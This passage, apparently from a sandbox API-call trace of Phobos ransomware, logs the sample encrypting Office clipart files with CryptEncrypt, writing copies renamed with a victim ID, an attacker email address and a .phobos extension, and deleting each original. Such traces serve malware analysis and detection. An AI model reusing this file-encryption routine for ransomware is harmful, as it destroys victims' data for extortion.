(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.401] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=30240) returned 1 [0133.401] CloseHandle (hObject=0x310) returned 1 [0133.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0133.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.401] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.401] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.401] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753098) returned 1 [0133.401] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.401] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x7620, lpOverlapped=0x0) returned 1 [0133.403] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x7630, dwBufLen=0x7630 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x7630) returned 1 [0133.403] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x7630, lpOverlapped=0x0) returned 1 [0133.405] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753158) returned 1 [0133.405] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.405] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.405] CryptDestroyKey (hKey=0x753158) returned 1 [0133.405] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.405] CryptDestroyKey (hKey=0x753098) returned 1 [0133.405] CloseHandle (hObject=0x310) returned 1 [0133.405] CloseHandle (hObject=0x30c) returned 1 [0133.405] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0133.406] SetEvent (hEvent=0x2b8) returned 1 [0133.406] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.406] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=29212) returned 1 [0133.406] CloseHandle (hObject=0x30c) returned 1 [0133.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0133.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.407] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.407] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.407] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753158) returned 1 [0133.407] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.407] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x721c, lpOverlapped=0x0) returned 1 [0133.423] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x7220, dwBufLen=0x7220 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x7220) returned 1 [0133.423] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x7220, lpOverlapped=0x0) returned 1 [0133.425] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753198) returned 1 [0133.425] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.425] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.425] CryptDestroyKey (hKey=0x753198) returned 1 [0133.425] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.425] CryptDestroyKey (hKey=0x753158) returned 1 [0133.425] CloseHandle (hObject=0x30c) returned 1 [0133.425] CloseHandle (hObject=0x310) returned 1 [0133.425] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0133.426] SetEvent (hEvent=0x2b8) returned 1 [0133.426] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.426] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=37390) returned 1 [0133.426] CloseHandle (hObject=0x310) returned 1 [0133.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0133.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.427] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.427] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.427] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752dd8) returned 1 [0133.427] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.427] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x920e, lpOverlapped=0x0) returned 1 [0133.490] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x9210, dwBufLen=0x9210 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x9210) returned 1 [0133.491] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x9210, lpOverlapped=0x0) returned 1 [0133.492] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752e58) returned 1 [0133.492] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.492] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.492] CryptDestroyKey (hKey=0x752e58) returned 1 [0133.492] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.492] CryptDestroyKey (hKey=0x752dd8) returned 1 [0133.492] CloseHandle (hObject=0x310) returned 1 [0133.492] CloseHandle (hObject=0x30c) returned 1 [0133.492] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0133.493] SetEvent (hEvent=0x2b8) returned 1 [0133.493] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.494] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=18194) returned 1 [0133.494] CloseHandle (hObject=0x30c) returned 1 [0133.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0133.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.494] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.494] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.494] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d18) returned 1 [0133.494] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.495] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x4712, lpOverlapped=0x0) returned 1 [0133.512] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4720, dwBufLen=0x4720 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4720) returned 1 [0133.512] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x4720, lpOverlapped=0x0) returned 1 [0133.514] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753158) returned 1 [0133.514] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.514] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.514] CryptDestroyKey (hKey=0x753158) returned 1 [0133.514] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.514] CryptDestroyKey (hKey=0x752d18) returned 1 [0133.514] CloseHandle (hObject=0x30c) returned 1 [0133.514] CloseHandle (hObject=0x310) returned 1 [0133.514] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0133.515] SetEvent (hEvent=0x2b8) returned 1 [0133.515] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.517] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=46814) returned 1 [0133.517] CloseHandle (hObject=0x310) returned 1 [0133.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0133.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.517] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.517] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.518] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e18) returned 1 [0133.518] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.518] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xb6de, lpOverlapped=0x0) returned 1 [0133.536] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xb6e0, dwBufLen=0xb6e0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xb6e0) returned 1 [0133.536] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xb6e0, lpOverlapped=0x0) returned 1 [0133.538] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752f18) returned 1 [0133.538] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.538] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.538] CryptDestroyKey (hKey=0x752f18) returned 1 [0133.538] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.538] CryptDestroyKey (hKey=0x752e18) returned 1 [0133.538] CloseHandle (hObject=0x310) returned 1 [0133.538] CloseHandle (hObject=0x30c) returned 1 [0133.538] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0133.539] SetEvent (hEvent=0x2b8) returned 1 [0133.539] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.539] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=6068) returned 1 [0133.540] CloseHandle (hObject=0x30c) returned 1 [0133.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0133.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.540] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.540] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.540] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753098) returned 1 [0133.540] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.540] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x17b4, lpOverlapped=0x0) returned 1 [0133.673] 